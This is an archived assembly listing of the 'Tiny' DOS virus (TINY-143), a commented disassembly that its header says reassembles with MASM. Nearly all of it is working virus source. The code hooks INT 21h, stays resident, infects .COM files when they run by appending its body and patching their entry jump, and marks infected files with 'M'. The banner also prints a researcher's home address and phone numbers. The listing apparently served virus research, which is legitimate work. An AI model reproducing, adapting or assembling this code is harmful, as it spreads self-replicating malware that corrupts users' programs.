home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TINY-143.ASM < prev    next >
Assembly Source File  |  1990-09-01  |  4KB  |  174 lines

  1.     page    ,132
  2.     name    TINY143
  3.     title    The 'Tiny' virus, version TINY-143
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║             The 'Tiny' Virus, version TINY-143                  ║
  11. ; ║           Disassembled by Vesselin Bontchev, August 1990         ║
  12. ; ║                                         ║
  13. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code, ds:code
  23.  
  24.     org    100
  25.  
  26. seg_60    equ    600
  27. v_len    equ    v_end-first4
  28.  
  29. start:
  30.     jmp    v_entry     ; Jump to virus code
  31.     db    'M'             ; Virus signature
  32.     mov    ax,4C00     ; Program terminate
  33.     int    21
  34.  
  35. ; The original first 4 bytes of the infected file:
  36.  
  37. first4    db    0EBh, 2, 90, 90
  38.  
  39. v_entry:
  40.     mov    si,0FF        ; Initialize some registers
  41.     mov    di,offset start ; Put the addres of program start in DI
  42.     mov    bx,int_21-first4+seg_60 ; Point BX at new INT 13h handler
  43.  
  44. ; The virus will be installed in memory at
  45. ; address 0050:0100h (i.e., at segment 60h):
  46.  
  47.     mov    cx,50
  48.  
  49.     add    si,[si+2]    ; Determine the start addres of the virus body
  50.  
  51.     push    di        ; Now a Near RET instruction will run the prg.
  52.  
  53.     movsw            ; Restore the original first 4 bytes
  54.     movsw
  55.  
  56.     mov    es,cx        ; Point ES:DI at 0050:0100h
  57.     cmpsb            ; Check if the virus is present in memory
  58.     jz    run        ; Just run the program if so
  59.  
  60. ; Virus not in memory. Install it there:
  61.  
  62.     dec    si        ; Correct SI & DI to point at the start of
  63.     dec    di        ;  virus code and to destination address
  64.     rep    movsw        ; Move the virus there
  65.  
  66.     mov    es,cx        ; ES := 0
  67.  
  68. ; Move the INT 21h handler to INT 32h and
  69. ; install int_21 as new INT 21h handler.
  70. ; By the way, now DI == 1A4h (i.e., 69h*4):
  71.  
  72.     xchg    ax,bx        ; Thransfer INT 21h vector to INT 69h,
  73.     xchg    ax,cx        ;  preserving AX
  74. lp:
  75.     xchg    ax,cx        ; Get a word
  76.     xchg    ax,es:[di-(69-21)*4]    ; Swap the two words
  77.     stosw            ; Save the word
  78.     jcxz    lp        ; Loop until done (two times)
  79.  
  80.     xchg    ax,bx        ; Restore AX (to keep progs as DISKCOPY happy)
  81.  
  82. run:
  83.     push    ds        ; Restore ES
  84.     pop    es
  85.     ret            ; And exit (go to CS:100h)
  86.  
  87. int_21:             ; New INT 21h handler
  88.     cmp    ax,4B00     ; EXEC function call?
  89.     jne    end_21        ; Exit if not
  90.  
  91.     push    ax        ; Save registers used
  92.     push    bx
  93.     push    dx
  94.     push    ds
  95.     push    es
  96.  
  97.     mov    ax,3D02     ; Open the file for both reading and writting
  98.     int    69
  99.     jc    end_exec    ; Exit on error
  100.     xchg    ax,bx        ; Save the file handle in BX
  101.  
  102.     call    lseek1        ; Lseek to file beginning (and set CL to 4)
  103.  
  104.     mov    al,seg_60 shr 4 ; Read the first 4 bytes of the file
  105.     mov    ds,ax        ; Set buffer offset to 0060:0000h
  106.     mov    es,ax        ; Point ES there too
  107.     mov    ah,3F
  108.     int    69        ; Do read
  109.  
  110. ; Check whether the file is already infected or is an .EXE file.
  111. ; The former contains the character `M' in its 3rd byte and
  112. ; the latter contains it either in the 0th or in the 1st byte.
  113.  
  114.     xor    di,di
  115.     mov    al,'M'          ; Look for `M'
  116.     repne    scasb
  117.     jz    close        ; Exit if file not suitable for infection
  118.  
  119.     mov    al,2        ; Seek to the end of file (and put 4 in CL)
  120.     call    lseek
  121.  
  122.     push    ax        ; Save file length
  123.  
  124.     mov    cl,v_len    ; Length of virus body
  125.     mov    ah,40        ; Append the virus to the file
  126.     int    69        ; Do it
  127.  
  128.     call    lseek1        ; Seek to the file beginning
  129.  
  130.     xchg    ax,di        ; Point DX at first4
  131.     mov    al,0E9        ; Near JMP opcode
  132.     stosb            ; Form the first instruction of the file
  133.     pop    ax        ; Restore file length in AX
  134.     inc    ax
  135.     stosw            ; Form the JMP's opperand
  136.     mov    al,'M'          ; Add a `M' character to mark the file
  137.     stosb            ;  as infected
  138.  
  139.     mov    ah,40        ; Overwrite the first 4 bytes of the file
  140.     int    69        ; Do it
  141.  
  142. close:
  143.     mov    ah,3E        ; Close the file
  144.     int    69
  145.  
  146. end_exec:
  147.     pop    es        ; Restore used registers
  148.     pop    ds
  149.     pop    dx
  150.     pop    bx
  151.     pop    ax
  152.  
  153. ; Exit through the original INT 21h handler:
  154.  
  155. end_21:
  156.     jmp    dword ptr cs:[69*4]
  157.  
  158. lseek1:
  159.     mov    al,0        ; Lseek to the file beginning
  160.  
  161. lseek:
  162.     mov    ah,42        ; Lseek either to file beginning or to file end
  163.     xor    cx,cx
  164.     xor    dx,dx
  165.     int    69        ; Do it
  166.  
  167.     mov    cl,4        ; Put 4 in CL
  168.     ret            ; Done
  169.  
  170. v_end    equ    $        ; End of virus body
  171.  
  172. code    ends
  173.     end    start
  174.